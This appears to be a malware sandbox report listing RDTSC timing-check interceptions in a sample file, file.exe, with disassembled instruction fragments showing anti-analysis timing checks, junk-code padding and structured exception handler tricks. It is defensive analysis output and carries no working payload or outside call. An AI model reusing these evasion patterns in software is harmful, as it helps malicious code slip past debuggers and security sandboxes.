Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71879C second address: 718833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCA94C93E43h 0x00000009 popad 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov si, B2F7h 0x00000012 push 00000000h 0x00000014 mov edi, dword ptr [ebp+122D3700h] 0x0000001a push CF2C7F56h 0x0000001f jmp 00007FCA94C93E3Dh 0x00000024 add dword ptr [esp], 30D3812Ah 0x0000002b mov si, 2FFCh 0x0000002f push 00000003h 0x00000031 mov dx, 6C48h 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push eax 0x0000003a call 00007FCA94C93E38h 0x0000003f pop eax 0x00000040 mov dword ptr [esp+04h], eax 0x00000044 add dword ptr [esp+04h], 0000001Dh 0x0000004c inc eax 0x0000004d push eax 0x0000004e ret 0x0000004f pop eax 0x00000050 ret 0x00000051 ja 00007FCA94C93E3Ch 0x00000057 mov ecx, esi 0x00000059 push 00000003h 0x0000005b mov dword ptr [ebp+122D17EFh], eax 0x00000061 push C0CF035Ch 0x00000066 jl 00007FCA94C93E4Bh 0x0000006c push eax 0x0000006d push edx 0x0000006e pushad 0x0000006f popad 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 718911 second address: 718915 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 718915 second address: 71891F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71891F second address: 718923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 718B2B second address: 718B41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007FCA94C93E3Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70775B second address: 707761 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 736F87 second address: 736F94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a push esi 0x0000000b pop esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737262 second address: 73726C instructions: 0x00000000 rdtsc 0x00000002 jl 00007FCA94618466h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73726C second address: 73727C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FCA94C93E3Ah 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737808 second address: 73780E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737936 second address: 73794D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FCA94C93E36h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e jbe 00007FCA94C93E36h 0x00000014 pushad 0x00000015 popad 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737D97 second address: 737D9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737D9D second address: 737DA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 711770 second address: 711777 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73804C second address: 73805D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 jne 00007FCA94C93E3Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73805D second address: 738063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 738063 second address: 738068 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 738068 second address: 738089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FCA94618466h 0x0000000a push edi 0x0000000b pop edi 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 pop eax 0x00000012 jmp 00007FCA9461846Dh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F2B5 second address: 73F2B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F2B9 second address: 73F2BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73E873 second address: 73E877 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74454D second address: 744566 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FCA94618466h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007FCA94618468h 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 744703 second address: 744709 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 744C38 second address: 744C3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 744DF7 second address: 744E27 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007FCA94C93E42h 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push edi 0x00000012 pop edi 0x00000013 jmp 00007FCA94C93E3Dh 0x00000018 popad 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 744F9C second address: 744FB8 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FCA94618466h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jmp 00007FCA9461846Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 744FB8 second address: 744FBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746F85 second address: 746F8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746F8E second address: 746F92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746F92 second address: 746FFE instructions: 0x00000000 rdtsc 0x00000002 ja 00007FCA94618466h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jne 00007FCA94618477h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jmp 00007FCA9461846Eh 0x0000001b mov eax, dword ptr [eax] 0x0000001d push edi 0x0000001e jmp 00007FCA94618478h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b jmp 00007FCA94618472h 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746FFE second address: 747003 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 747720 second address: 747768 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA94618477h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007FCA94618477h 0x0000000f jmp 00007FCA94618471h 0x00000014 popad 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FCA94618470h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 747768 second address: 747772 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FCA94C93E36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 747772 second address: 747779 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 747832 second address: 747850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCA94C93E49h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 747850 second address: 747856 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74804C second address: 748052 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74A1DC second address: 74A1F1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FCA94618468h 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74A1F1 second address: 74A1F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749A00 second address: 749A20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA9461846Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FCA9461846Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74C361 second address: 74C366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74B591 second address: 74B596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74C366 second address: 74C36C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74C36C second address: 74C370 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 750AAA second address: 750AB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 750AB0 second address: 750AC2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a jnp 00007FCA9461846Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751A58 second address: 751A6A instructions: 0x00000000 rdtsc 0x00000002 js 00007FCA94C93E38h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751A6A second address: 751A70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751A70 second address: 751A75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751A75 second address: 751A7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751A7B second address: 751A7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752984 second address: 752A16 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FCA94618476h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FCA94618471h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007FCA94618468h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c add ebx, dword ptr [ebp+122D36A0h] 0x00000032 push 00000000h 0x00000034 mov ebx, eax 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ebx 0x0000003b call 00007FCA94618468h 0x00000040 pop ebx 0x00000041 mov dword ptr [esp+04h], ebx 0x00000045 add dword ptr [esp+04h], 00000016h 0x0000004d inc ebx 0x0000004e push ebx 0x0000004f ret 0x00000050 pop ebx 0x00000051 ret 0x00000052 sub edi, 278B471Fh 0x00000058 push eax 0x00000059 push edi 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007FCA94618473h 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7548C0 second address: 7548CA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751C36 second address: 751CD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007FCA94618468h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 jno 00007FCA9461846Ch 0x0000002b push dword ptr fs:[00000000h] 0x00000032 push 00000000h 0x00000034 push eax 0x00000035 call 00007FCA94618468h 0x0000003a pop eax 0x0000003b mov dword ptr [esp+04h], eax 0x0000003f add dword ptr [esp+04h], 00000019h 0x00000047 inc eax 0x00000048 push eax 0x00000049 ret 0x0000004a pop eax 0x0000004b ret 0x0000004c xor bx, CEABh 0x00000051 mov dword ptr fs:[00000000h], esp 0x00000058 mov edi, dword ptr [ebp+122D18DEh] 0x0000005e mov eax, dword ptr [ebp+122D0929h] 0x00000064 mov edi, dword ptr [ebp+122D3748h] 0x0000006a push FFFFFFFFh 0x0000006c mov di, dx 0x0000006f nop 0x00000070 jmp 00007FCA9461846Eh 0x00000075 push eax 0x00000076 push ebx 0x00000077 push eax 0x00000078 push edx 0x00000079 pushad 0x0000007a popad 0x0000007b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752BBF second address: 752BC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753AB4 second address: 753ABE instructions: 0x00000000 rdtsc 0x00000002 je 00007FCA9461846Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7549E4 second address: 754A0A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FCA94C93E49h 0x00000008 jmp 00007FCA94C93E43h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push esi 0x00000014 pop esi 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752BC3 second address: 752BC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753ABE second address: 753B67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 movzx ebx, ax 0x0000000c push dword ptr fs:[00000000h] 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007FCA94C93E38h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 0000001Ch 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d sub dword ptr [ebp+122D35FEh], edx 0x00000033 mov dword ptr fs:[00000000h], esp 0x0000003a jmp 00007FCA94C93E3Fh 0x0000003f mov eax, dword ptr [ebp+122D0A2Dh] 0x00000045 push 00000000h 0x00000047 push ebp 0x00000048 call 00007FCA94C93E38h 0x0000004d pop ebp 0x0000004e mov dword ptr [esp+04h], ebp 0x00000052 add dword ptr [esp+04h], 0000001Ah 0x0000005a inc ebp 0x0000005b push ebp 0x0000005c ret 0x0000005d pop ebp 0x0000005e ret 0x0000005f jno 00007FCA94C93E37h 0x00000065 mov bx, FDB2h 0x00000069 push FFFFFFFFh 0x0000006b xor dword ptr [ebp+122D31ADh], esi 0x00000071 nop 0x00000072 push eax 0x00000073 push edx 0x00000074 jmp 00007FCA94C93E48h 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75663A second address: 75663F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 754A0A second address: 754A10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752BC9 second address: 752BD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FCA94618466h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7566D6 second address: 7566E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FCA94C93E36h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752BD4 second address: 752C46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov bl, A9h 0x0000000a push dword ptr fs:[00000000h] 0x00000011 mov ebx, dword ptr [ebp+12475B95h] 0x00000017 mov dword ptr fs:[00000000h], esp 0x0000001e or edi, 046BF531h 0x00000024 mov eax, dword ptr [ebp+122D0619h] 0x0000002a sub edi, 2FA68224h 0x00000030 push FFFFFFFFh 0x00000032 push 00000000h 0x00000034 push edi 0x00000035 call 00007FCA94618468h 0x0000003a pop edi 0x0000003b mov dword ptr [esp+04h], edi 0x0000003f add dword ptr [esp+04h], 0000001Dh 0x00000047 inc edi 0x00000048 push edi 0x00000049 ret 0x0000004a pop edi 0x0000004b ret 0x0000004c and edi, 50A68970h 0x00000052 mov ebx, dword ptr [ebp+122D374Ch] 0x00000058 nop 0x00000059 push eax 0x0000005a push edx 0x0000005b jo 00007FCA9461846Ch 0x00000061 jp 00007FCA94618466h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 756817 second address: 75682A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FCA94C93E36h 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75789C second address: 7578A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75682A second address: 756830 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 756830 second address: 75683A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FCA94618466h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7578A0 second address: 757936 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA94C93E41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push dword ptr fs:[00000000h] 0x00000013 mov bx, 7705h 0x00000017 mov edi, 46D47A92h 0x0000001c mov dword ptr fs:[00000000h], esp 0x00000023 sub dword ptr [ebp+122D1AE6h], eax 0x00000029 pushad 0x0000002a jmp 00007FCA94C93E47h 0x0000002f jbe 00007FCA94C93E38h 0x00000035 popad 0x00000036 mov eax, dword ptr [ebp+122D0F15h] 0x0000003c jne 00007FCA94C93E3Ch 0x00000042 push FFFFFFFFh 0x00000044 mov ebx, dword ptr [ebp+122D39B0h] 0x0000004a pushad 0x0000004b ja 00007FCA94C93E38h 0x00000051 mov ecx, ebx 0x00000053 sub al, 00000003h 0x00000056 popad 0x00000057 nop 0x00000058 pushad 0x00000059 push edi 0x0000005a pushad 0x0000005b popad 0x0000005c pop edi 0x0000005d pushad 0x0000005e push edi 0x0000005f pop edi 0x00000060 push edx 0x00000061 pop edx 0x00000062 popad 0x00000063 popad 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 jnc 00007FCA94C93E36h 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A61C second address: 75A638 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCA94618478h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757936 second address: 75793B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D78A second address: 75D791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75C94E second address: 75C954 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D791 second address: 75D7F6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FCA9461846Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d or dword ptr [ebp+122D1D59h], edx 0x00000013 mov ebx, dword ptr [ebp+122D1B00h] 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d mov di, ax 0x00000020 call 00007FCA94618470h 0x00000025 call 00007FCA94618477h 0x0000002a pop ebx 0x0000002b pop ebx 0x0000002c xchg eax, esi 0x0000002d jnc 00007FCA94618470h 0x00000033 push eax 0x00000034 pushad 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75C954 second address: 75C96F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCA94C93E47h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D7F6 second address: 75D801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D801 second address: 75D805 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E8D8 second address: 75E8EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FCA94618466h 0x0000000a popad 0x0000000b jnp 00007FCA9461846Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F8EB second address: 75F90D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jg 00007FCA94C93E36h 0x00000014 jmp 00007FCA94C93E3Dh 0x00000019 popad 0x0000001a rdtsc
